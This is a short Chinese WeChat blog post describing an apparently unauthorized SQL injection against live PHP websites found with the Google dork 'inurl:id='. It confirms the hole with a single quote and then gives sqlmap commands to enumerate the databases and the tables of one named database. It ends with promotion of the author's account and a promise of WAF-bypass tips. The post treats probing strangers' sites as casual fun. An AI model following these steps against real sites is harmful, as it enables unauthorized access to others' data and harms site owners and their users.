一次真实的SQL注入实战

前言

谷歌搜索引擎不仅是强大的搜索工具，同时也是一款强大的黑客工具。在web网站的漏洞SQL注入中，也是比较容易被发现的。利用谷歌搜索语法："inurl:id="，就可以发现许多带有参数的URL，而往往有些URL中的参数是存在SQL注入的。

我尝试了搜索了一波PHP语言编写，并且存在参数的站点

过程记录

1、点击进入网站

2、测试参数“id”是否存在注入，添加单引号后，网站报错，可能存在SQL注入

3、这里脚本小子直接掏出了SqlMap

python sqlmap.py -u "targeturl"

可以看出确实存在SQL注入

4、好奇的我决定瞧一瞧数据库

python sqlmap.py -u "targeturl" --dbs

5、这能忍吗？我就再看一眼

python sqlmap.py -u "targeturl" -D isc --tables

没啥好看的，我要溜了

后面会出一期SqlMap绕过waf的一些姿势，绝对干货

公众号已经将已发布资料和工具打包好了，关注公众号点击“资料领取”，就可以获取了，后续会更新更多资源，谢谢各位客官支持。

更多文章请关注公众号：星河疯客admin

万水千山总是情，点赞再走行不行的(ง •_•)ง

原文始发于微信公众号（星河疯客admin）：一次真实的SQL注入实战